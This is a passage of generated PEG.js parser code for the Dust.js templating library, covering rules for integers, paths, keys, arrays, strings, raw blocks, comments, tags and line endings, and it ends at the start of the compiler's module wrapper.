peg$currPos = s0;
s0 = peg$c3;
}
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c49); }
}
return s0;
}
function peg$parseunsigned_integer() {
var s0, s1, s2;
peg$silentFails++;
s0 = peg$currPos;
s1 = [];
if (peg$c54.test(input.charAt(peg$currPos))) {
s2 = input.charAt(peg$currPos);
peg$currPos++;
} else {
s2 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c55); }
}
if (s2 !== peg$FAILED) {
while (s2 !== peg$FAILED) {
s1.push(s2);
if (peg$c54.test(input.charAt(peg$currPos))) {
s2 = input.charAt(peg$currPos);
peg$currPos++;
} else {
s2 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c55); }
}
}
} else {
s1 = peg$c3;
}
if (s1 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c56(s1);
}
s0 = s1;
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c53); }
}
return s0;
}
function peg$parsesigned_integer() {
var s0, s1, s2;
peg$silentFails++;
s0 = peg$currPos;
if (input.charCodeAt(peg$currPos) === 45) {
s1 = peg$c58;
peg$currPos++;
} else {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c59); }
}
if (s1 !== peg$FAILED) {
s2 = peg$parseunsigned_integer();
if (s2 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c60(s1, s2);
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c57); }
}
return s0;
}
function peg$parseinteger() {
var s0, s1;
peg$silentFails++;
s0 = peg$parsesigned_integer();
if (s0 === peg$FAILED) {
s0 = peg$parseunsigned_integer();
}
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c61); }
}
return s0;
}
function peg$parsepath() {
var s0, s1, s2, s3;
peg$silentFails++;
s0 = peg$currPos;
s1 = peg$parsekey();
if (s1 === peg$FAILED) {
s1 = peg$c4;
}
if (s1 !== peg$FAILED) {
s2 = [];
s3 = peg$parsearray_part();
if (s3 === peg$FAILED) {
s3 = peg$parsearray();
}
if (s3 !== peg$FAILED) {
while (s3 !== peg$FAILED) {
s2.push(s3);
s3 = peg$parsearray_part();
if (s3 === peg$FAILED) {
s3 = peg$parsearray();
}
}
} else {
s2 = peg$c3;
}
if (s2 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c63(s1, s2);
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
if (s0 === peg$FAILED) {
s0 = peg$currPos;
if (input.charCodeAt(peg$currPos) === 46) {
s1 = peg$c50;
peg$currPos++;
} else {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c51); }
}
if (s1 !== peg$FAILED) {
s2 = [];
s3 = peg$parsearray_part();
if (s3 === peg$FAILED) {
s3 = peg$parsearray();
}
while (s3 !== peg$FAILED) {
s2.push(s3);
s3 = peg$parsearray_part();
if (s3 === peg$FAILED) {
s3 = peg$parsearray();
}
}
if (s2 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c64(s2);
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
}
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c62); }
}
return s0;
}
function peg$parsekey() {
var s0, s1, s2, s3;
peg$silentFails++;
s0 = peg$currPos;
if (peg$c66.test(input.charAt(peg$currPos))) {
s1 = input.charAt(peg$currPos);
peg$currPos++;
} else {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c67); }
}
if (s1 !== peg$FAILED) {
s2 = [];
if (peg$c68.test(input.charAt(peg$currPos))) {
s3 = input.charAt(peg$currPos);
peg$currPos++;
} else {
s3 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c69); }
}
while (s3 !== peg$FAILED) {
s2.push(s3);
if (peg$c68.test(input.charAt(peg$currPos))) {
s3 = input.charAt(peg$currPos);
peg$currPos++;
} else {
s3 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c69); }
}
}
if (s2 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c70(s1, s2);
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c65); }
}
return s0;
}
function peg$parsearray() {
var s0, s1, s2, s3, s4, s5;
peg$silentFails++;
s0 = peg$currPos;
s1 = peg$currPos;
s2 = peg$parselb();
if (s2 !== peg$FAILED) {
s3 = peg$currPos;
s4 = [];
if (peg$c54.test(input.charAt(peg$currPos))) {
s5 = input.charAt(peg$currPos);
peg$currPos++;
} else {
s5 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c55); }
}
if (s5 !== peg$FAILED) {
while (s5 !== peg$FAILED) {
s4.push(s5);
if (peg$c54.test(input.charAt(peg$currPos))) {
s5 = input.charAt(peg$currPos);
peg$currPos++;
} else {
s5 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c55); }
}
}
} else {
s4 = peg$c3;
}
if (s4 !== peg$FAILED) {
peg$reportedPos = s3;
s4 = peg$c72(s4);
}
s3 = s4;
if (s3 === peg$FAILED) {
s3 = peg$parseidentifier();
}
if (s3 !== peg$FAILED) {
s4 = peg$parserb();
if (s4 !== peg$FAILED) {
peg$reportedPos = s1;
s2 = peg$c73(s3);
s1 = s2;
} else {
peg$currPos = s1;
s1 = peg$c3;
}
} else {
peg$currPos = s1;
s1 = peg$c3;
}
} else {
peg$currPos = s1;
s1 = peg$c3;
}
if (s1 !== peg$FAILED) {
s2 = peg$parsearray_part();
if (s2 === peg$FAILED) {
s2 = peg$c4;
}
if (s2 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c74(s1, s2);
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c71); }
}
return s0;
}
function peg$parsearray_part() {
var s0, s1, s2, s3, s4;
peg$silentFails++;
s0 = peg$currPos;
s1 = [];
s2 = peg$currPos;
if (input.charCodeAt(peg$currPos) === 46) {
s3 = peg$c50;
peg$currPos++;
} else {
s3 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c51); }
}
if (s3 !== peg$FAILED) {
s4 = peg$parsekey();
if (s4 !== peg$FAILED) {
peg$reportedPos = s2;
s3 = peg$c76(s4);
s2 = s3;
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
if (s2 !== peg$FAILED) {
while (s2 !== peg$FAILED) {
s1.push(s2);
s2 = peg$currPos;
if (input.charCodeAt(peg$currPos) === 46) {
s3 = peg$c50;
peg$currPos++;
} else {
s3 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c51); }
}
if (s3 !== peg$FAILED) {
s4 = peg$parsekey();
if (s4 !== peg$FAILED) {
peg$reportedPos = s2;
s3 = peg$c76(s4);
s2 = s3;
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
}
} else {
s1 = peg$c3;
}
if (s1 !== peg$FAILED) {
s2 = peg$parsearray();
if (s2 === peg$FAILED) {
s2 = peg$c4;
}
if (s2 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c77(s1, s2);
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c75); }
}
return s0;
}
function peg$parseinline() {
var s0, s1, s2, s3;
peg$silentFails++;
s0 = peg$currPos;
if (input.charCodeAt(peg$currPos) === 34) {
s1 = peg$c79;
peg$currPos++;
} else {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c80); }
}
if (s1 !== peg$FAILED) {
if (input.charCodeAt(peg$currPos) === 34) {
s2 = peg$c79;
peg$currPos++;
} else {
s2 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c80); }
}
if (s2 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c81();
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
if (s0 === peg$FAILED) {
s0 = peg$currPos;
if (input.charCodeAt(peg$currPos) === 34) {
s1 = peg$c79;
peg$currPos++;
} else {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c80); }
}
if (s1 !== peg$FAILED) {
s2 = peg$parseliteral();
if (s2 !== peg$FAILED) {
if (input.charCodeAt(peg$currPos) === 34) {
s3 = peg$c79;
peg$currPos++;
} else {
s3 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c80); }
}
if (s3 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c82(s2);
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
if (s0 === peg$FAILED) {
s0 = peg$currPos;
if (input.charCodeAt(peg$currPos) === 34) {
s1 = peg$c79;
peg$currPos++;
} else {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c80); }
}
if (s1 !== peg$FAILED) {
s2 = [];
s3 = peg$parseinline_part();
if (s3 !== peg$FAILED) {
while (s3 !== peg$FAILED) {
s2.push(s3);
s3 = peg$parseinline_part();
}
} else {
s2 = peg$c3;
}
if (s2 !== peg$FAILED) {
if (input.charCodeAt(peg$currPos) === 34) {
s3 = peg$c79;
peg$currPos++;
} else {
s3 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c80); }
}
if (s3 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c83(s2);
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
}
}
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c78); }
}
return s0;
}
function peg$parseinline_part() {
var s0, s1;
s0 = peg$parsespecial();
if (s0 === peg$FAILED) {
s0 = peg$parsereference();
if (s0 === peg$FAILED) {
s0 = peg$currPos;
s1 = peg$parseliteral();
if (s1 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c84(s1);
}
s0 = s1;
}
}
return s0;
}
function peg$parsebuffer() {
var s0, s1, s2, s3, s4, s5, s6, s7;
peg$silentFails++;
s0 = peg$currPos;
s1 = peg$parseeol();
if (s1 !== peg$FAILED) {
s2 = [];
s3 = peg$parsews();
while (s3 !== peg$FAILED) {
s2.push(s3);
s3 = peg$parsews();
}
if (s2 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c86(s1, s2);
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
if (s0 === peg$FAILED) {
s0 = peg$currPos;
s1 = [];
s2 = peg$currPos;
s3 = peg$currPos;
peg$silentFails++;
s4 = peg$parsetag();
peg$silentFails--;
if (s4 === peg$FAILED) {
s3 = peg$c6;
} else {
peg$currPos = s3;
s3 = peg$c3;
}
if (s3 !== peg$FAILED) {
s4 = peg$currPos;
peg$silentFails++;
s5 = peg$parseraw();
peg$silentFails--;
if (s5 === peg$FAILED) {
s4 = peg$c6;
} else {
peg$currPos = s4;
s4 = peg$c3;
}
if (s4 !== peg$FAILED) {
s5 = peg$currPos;
peg$silentFails++;
s6 = peg$parsecomment();
peg$silentFails--;
if (s6 === peg$FAILED) {
s5 = peg$c6;
} else {
peg$currPos = s5;
s5 = peg$c3;
}
if (s5 !== peg$FAILED) {
s6 = peg$currPos;
peg$silentFails++;
s7 = peg$parseeol();
peg$silentFails--;
if (s7 === peg$FAILED) {
s6 = peg$c6;
} else {
peg$currPos = s6;
s6 = peg$c3;
}
if (s6 !== peg$FAILED) {
if (input.length > peg$currPos) {
s7 = input.charAt(peg$currPos);
peg$currPos++;
} else {
s7 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c87); }
}
if (s7 !== peg$FAILED) {
peg$reportedPos = s2;
s3 = peg$c88(s7);
s2 = s3;
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
if (s2 !== peg$FAILED) {
while (s2 !== peg$FAILED) {
s1.push(s2);
s2 = peg$currPos;
s3 = peg$currPos;
peg$silentFails++;
s4 = peg$parsetag();
peg$silentFails--;
if (s4 === peg$FAILED) {
s3 = peg$c6;
} else {
peg$currPos = s3;
s3 = peg$c3;
}
if (s3 !== peg$FAILED) {
s4 = peg$currPos;
peg$silentFails++;
s5 = peg$parseraw();
peg$silentFails--;
if (s5 === peg$FAILED) {
s4 = peg$c6;
} else {
peg$currPos = s4;
s4 = peg$c3;
}
if (s4 !== peg$FAILED) {
s5 = peg$currPos;
peg$silentFails++;
s6 = peg$parsecomment();
peg$silentFails--;
if (s6 === peg$FAILED) {
s5 = peg$c6;
} else {
peg$currPos = s5;
s5 = peg$c3;
}
if (s5 !== peg$FAILED) {
s6 = peg$currPos;
peg$silentFails++;
s7 = peg$parseeol();
peg$silentFails--;
if (s7 === peg$FAILED) {
s6 = peg$c6;
} else {
peg$currPos = s6;
s6 = peg$c3;
}
if (s6 !== peg$FAILED) {
if (input.length > peg$currPos) {
s7 = input.charAt(peg$currPos);
peg$currPos++;
} else {
s7 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c87); }
}
if (s7 !== peg$FAILED) {
peg$reportedPos = s2;
s3 = peg$c88(s7);
s2 = s3;
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
}
} else {
s1 = peg$c3;
}
if (s1 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c89(s1);
}
s0 = s1;
}
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c85); }
}
return s0;
}
function peg$parseliteral() {
var s0, s1, s2, s3, s4;
peg$silentFails++;
s0 = peg$currPos;
s1 = [];
s2 = peg$currPos;
s3 = peg$currPos;
peg$silentFails++;
s4 = peg$parsetag();
peg$silentFails--;
if (s4 === peg$FAILED) {
s3 = peg$c6;
} else {
peg$currPos = s3;
s3 = peg$c3;
}
if (s3 !== peg$FAILED) {
s4 = peg$parseesc();
if (s4 === peg$FAILED) {
if (peg$c91.test(input.charAt(peg$currPos))) {
s4 = input.charAt(peg$currPos);
peg$currPos++;
} else {
s4 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c92); }
}
}
if (s4 !== peg$FAILED) {
peg$reportedPos = s2;
s3 = peg$c88(s4);
s2 = s3;
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
if (s2 !== peg$FAILED) {
while (s2 !== peg$FAILED) {
s1.push(s2);
s2 = peg$currPos;
s3 = peg$currPos;
peg$silentFails++;
s4 = peg$parsetag();
peg$silentFails--;
if (s4 === peg$FAILED) {
s3 = peg$c6;
} else {
peg$currPos = s3;
s3 = peg$c3;
}
if (s3 !== peg$FAILED) {
s4 = peg$parseesc();
if (s4 === peg$FAILED) {
if (peg$c91.test(input.charAt(peg$currPos))) {
s4 = input.charAt(peg$currPos);
peg$currPos++;
} else {
s4 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c92); }
}
}
if (s4 !== peg$FAILED) {
peg$reportedPos = s2;
s3 = peg$c88(s4);
s2 = s3;
} else {
peg$currPos = s2;
s2 = peg$c3;
}
} else {
peg$currPos = s2;
s2 = peg$c3;
}
}
} else {
s1 = peg$c3;
}
if (s1 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c93(s1);
}
s0 = s1;
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c90); }
}
return s0;
}
function peg$parseesc() {
var s0, s1;
s0 = peg$currPos;
if (input.substr(peg$currPos, 2) === peg$c94) {
s1 = peg$c94;
peg$currPos += 2;
} else {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c95); }
}
if (s1 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c96();
}
s0 = s1;
return s0;
}
function peg$parseraw() {
var s0, s1, s2, s3, s4, s5;
peg$silentFails++;
s0 = peg$currPos;
if (input.substr(peg$currPos, 2) === peg$c98) {
s1 = peg$c98;
peg$currPos += 2;
} else {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c99); }
}
if (s1 !== peg$FAILED) {
s2 = [];
s3 = peg$currPos;
s4 = peg$currPos;
peg$silentFails++;
if (input.substr(peg$currPos, 2) === peg$c100) {
s5 = peg$c100;
peg$currPos += 2;
} else {
s5 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c101); }
}
peg$silentFails--;
if (s5 === peg$FAILED) {
s4 = peg$c6;
} else {
peg$currPos = s4;
s4 = peg$c3;
}
if (s4 !== peg$FAILED) {
if (input.length > peg$currPos) {
s5 = input.charAt(peg$currPos);
peg$currPos++;
} else {
s5 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c87); }
}
if (s5 !== peg$FAILED) {
peg$reportedPos = s3;
s4 = peg$c102(s5);
s3 = s4;
} else {
peg$currPos = s3;
s3 = peg$c3;
}
} else {
peg$currPos = s3;
s3 = peg$c3;
}
while (s3 !== peg$FAILED) {
s2.push(s3);
s3 = peg$currPos;
s4 = peg$currPos;
peg$silentFails++;
if (input.substr(peg$currPos, 2) === peg$c100) {
s5 = peg$c100;
peg$currPos += 2;
} else {
s5 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c101); }
}
peg$silentFails--;
if (s5 === peg$FAILED) {
s4 = peg$c6;
} else {
peg$currPos = s4;
s4 = peg$c3;
}
if (s4 !== peg$FAILED) {
if (input.length > peg$currPos) {
s5 = input.charAt(peg$currPos);
peg$currPos++;
} else {
s5 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c87); }
}
if (s5 !== peg$FAILED) {
peg$reportedPos = s3;
s4 = peg$c102(s5);
s3 = s4;
} else {
peg$currPos = s3;
s3 = peg$c3;
}
} else {
peg$currPos = s3;
s3 = peg$c3;
}
}
if (s2 !== peg$FAILED) {
if (input.substr(peg$currPos, 2) === peg$c100) {
s3 = peg$c100;
peg$currPos += 2;
} else {
s3 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c101); }
}
if (s3 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c103(s2);
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c97); }
}
return s0;
}
function peg$parsecomment() {
var s0, s1, s2, s3, s4, s5;
peg$silentFails++;
s0 = peg$currPos;
if (input.substr(peg$currPos, 2) === peg$c105) {
s1 = peg$c105;
peg$currPos += 2;
} else {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c106); }
}
if (s1 !== peg$FAILED) {
s2 = [];
s3 = peg$currPos;
s4 = peg$currPos;
peg$silentFails++;
if (input.substr(peg$currPos, 2) === peg$c107) {
s5 = peg$c107;
peg$currPos += 2;
} else {
s5 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c108); }
}
peg$silentFails--;
if (s5 === peg$FAILED) {
s4 = peg$c6;
} else {
peg$currPos = s4;
s4 = peg$c3;
}
if (s4 !== peg$FAILED) {
if (input.length > peg$currPos) {
s5 = input.charAt(peg$currPos);
peg$currPos++;
} else {
s5 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c87); }
}
if (s5 !== peg$FAILED) {
peg$reportedPos = s3;
s4 = peg$c88(s5);
s3 = s4;
} else {
peg$currPos = s3;
s3 = peg$c3;
}
} else {
peg$currPos = s3;
s3 = peg$c3;
}
while (s3 !== peg$FAILED) {
s2.push(s3);
s3 = peg$currPos;
s4 = peg$currPos;
peg$silentFails++;
if (input.substr(peg$currPos, 2) === peg$c107) {
s5 = peg$c107;
peg$currPos += 2;
} else {
s5 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c108); }
}
peg$silentFails--;
if (s5 === peg$FAILED) {
s4 = peg$c6;
} else {
peg$currPos = s4;
s4 = peg$c3;
}
if (s4 !== peg$FAILED) {
if (input.length > peg$currPos) {
s5 = input.charAt(peg$currPos);
peg$currPos++;
} else {
s5 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c87); }
}
if (s5 !== peg$FAILED) {
peg$reportedPos = s3;
s4 = peg$c88(s5);
s3 = s4;
} else {
peg$currPos = s3;
s3 = peg$c3;
}
} else {
peg$currPos = s3;
s3 = peg$c3;
}
}
if (s2 !== peg$FAILED) {
if (input.substr(peg$currPos, 2) === peg$c107) {
s3 = peg$c107;
peg$currPos += 2;
} else {
s3 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c108); }
}
if (s3 !== peg$FAILED) {
peg$reportedPos = s0;
s1 = peg$c109(s2);
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
peg$silentFails--;
if (s0 === peg$FAILED) {
s1 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c104); }
}
return s0;
}
function peg$parsetag() {
var s0, s1, s2, s3, s4, s5, s6, s7, s8, s9;
s0 = peg$currPos;
s1 = peg$parseld();
if (s1 !== peg$FAILED) {
s2 = [];
s3 = peg$parsews();
while (s3 !== peg$FAILED) {
s2.push(s3);
s3 = peg$parsews();
}
if (s2 !== peg$FAILED) {
if (peg$c110.test(input.charAt(peg$currPos))) {
s3 = input.charAt(peg$currPos);
peg$currPos++;
} else {
s3 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c111); }
}
if (s3 !== peg$FAILED) {
s4 = [];
s5 = peg$parsews();
while (s5 !== peg$FAILED) {
s4.push(s5);
s5 = peg$parsews();
}
if (s4 !== peg$FAILED) {
s5 = [];
s6 = peg$currPos;
s7 = peg$currPos;
peg$silentFails++;
s8 = peg$parserd();
peg$silentFails--;
if (s8 === peg$FAILED) {
s7 = peg$c6;
} else {
peg$currPos = s7;
s7 = peg$c3;
}
if (s7 !== peg$FAILED) {
s8 = peg$currPos;
peg$silentFails++;
s9 = peg$parseeol();
peg$silentFails--;
if (s9 === peg$FAILED) {
s8 = peg$c6;
} else {
peg$currPos = s8;
s8 = peg$c3;
}
if (s8 !== peg$FAILED) {
if (input.length > peg$currPos) {
s9 = input.charAt(peg$currPos);
peg$currPos++;
} else {
s9 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c87); }
}
if (s9 !== peg$FAILED) {
s7 = [s7, s8, s9];
s6 = s7;
} else {
peg$currPos = s6;
s6 = peg$c3;
}
} else {
peg$currPos = s6;
s6 = peg$c3;
}
} else {
peg$currPos = s6;
s6 = peg$c3;
}
if (s6 !== peg$FAILED) {
while (s6 !== peg$FAILED) {
s5.push(s6);
s6 = peg$currPos;
s7 = peg$currPos;
peg$silentFails++;
s8 = peg$parserd();
peg$silentFails--;
if (s8 === peg$FAILED) {
s7 = peg$c6;
} else {
peg$currPos = s7;
s7 = peg$c3;
}
if (s7 !== peg$FAILED) {
s8 = peg$currPos;
peg$silentFails++;
s9 = peg$parseeol();
peg$silentFails--;
if (s9 === peg$FAILED) {
s8 = peg$c6;
} else {
peg$currPos = s8;
s8 = peg$c3;
}
if (s8 !== peg$FAILED) {
if (input.length > peg$currPos) {
s9 = input.charAt(peg$currPos);
peg$currPos++;
} else {
s9 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c87); }
}
if (s9 !== peg$FAILED) {
s7 = [s7, s8, s9];
s6 = s7;
} else {
peg$currPos = s6;
s6 = peg$c3;
}
} else {
peg$currPos = s6;
s6 = peg$c3;
}
} else {
peg$currPos = s6;
s6 = peg$c3;
}
}
} else {
s5 = peg$c3;
}
if (s5 !== peg$FAILED) {
s6 = [];
s7 = peg$parsews();
while (s7 !== peg$FAILED) {
s6.push(s7);
s7 = peg$parsews();
}
if (s6 !== peg$FAILED) {
s7 = peg$parserd();
if (s7 !== peg$FAILED) {
s1 = [s1, s2, s3, s4, s5, s6, s7];
s0 = s1;
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
} else {
peg$currPos = s0;
s0 = peg$c3;
}
if (s0 === peg$FAILED) {
s0 = peg$parsereference();
}
return s0;
}
function peg$parseld() {
var s0;
if (input.charCodeAt(peg$currPos) === 123) {
s0 = peg$c112;
peg$currPos++;
} else {
s0 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c113); }
}
return s0;
}
function peg$parserd() {
var s0;
if (input.charCodeAt(peg$currPos) === 125) {
s0 = peg$c114;
peg$currPos++;
} else {
s0 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c115); }
}
return s0;
}
function peg$parselb() {
var s0;
if (input.charCodeAt(peg$currPos) === 91) {
s0 = peg$c116;
peg$currPos++;
} else {
s0 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c117); }
}
return s0;
}
function peg$parserb() {
var s0;
if (input.charCodeAt(peg$currPos) === 93) {
s0 = peg$c118;
peg$currPos++;
} else {
s0 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c119); }
}
return s0;
}
function peg$parseeol() {
var s0;
if (input.charCodeAt(peg$currPos) === 10) {
s0 = peg$c120;
peg$currPos++;
} else {
s0 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c121); }
}
if (s0 === peg$FAILED) {
if (input.substr(peg$currPos, 2) === peg$c122) {
s0 = peg$c122;
peg$currPos += 2;
} else {
s0 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c123); }
}
if (s0 === peg$FAILED) {
if (input.charCodeAt(peg$currPos) === 13) {
s0 = peg$c124;
peg$currPos++;
} else {
s0 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c125); }
}
if (s0 === peg$FAILED) {
if (input.charCodeAt(peg$currPos) === 8232) {
s0 = peg$c126;
peg$currPos++;
} else {
s0 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c127); }
}
if (s0 === peg$FAILED) {
if (input.charCodeAt(peg$currPos) === 8233) {
s0 = peg$c128;
peg$currPos++;
} else {
s0 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c129); }
}
}
}
}
}
return s0;
}
function peg$parsews() {
var s0;
if (peg$c130.test(input.charAt(peg$currPos))) {
s0 = input.charAt(peg$currPos);
peg$currPos++;
} else {
s0 = peg$FAILED;
if (peg$silentFails === 0) { peg$fail(peg$c131); }
}
if (s0 === peg$FAILED) {
s0 = peg$parseeol();
}
return s0;
}
function makeInteger(arr) {
return parseInt(arr.join(''), 10);
}
function withPosition(arr) {
return arr.concat([['line', line()], ['col',
column()]]);
}
peg$result = peg$startRuleFunction();
if (peg$result !== peg$FAILED && peg$currPos === input.length)
{
return peg$result;
} else {
if (peg$result !== peg$FAILED && peg$currPos <
input.length) {
peg$fail({ type: "end", description: "end of
input" });
}
throw peg$buildException(null, peg$maxFailExpected, peg$maxFailPos);
}
}
return {
SyntaxError: SyntaxError,
parse: parse
};
})();
// expose parser methods
dust.parse = parser.parse;
return parser;
}));
(function(root, factory) {
if (typeof define === "function" && define.amd
&& define.amd.dust === true) {
define("dust.compile", ["dust.core",
"dust.parse"], function(dust, parse) {
return factory(parse, dust).compile;
});
} else if (typeof exports === 'object') {
// in Node, require this file if we want to use the compiler as a
standalone module
module.exports = factory(require('./parser').parse,
require('./dust'));
} else {
// in the browser, store the factory output if we want to use the
compiler directly
factory(root.dust.parse, root.dust);
}
}(this, function(parse, dust) {
var compiler = {},
isArray = dust.isArray;
compiler.compile = function(source, name) {
// the name parameter is optional.
// this can happen for templates that are rendered immediately
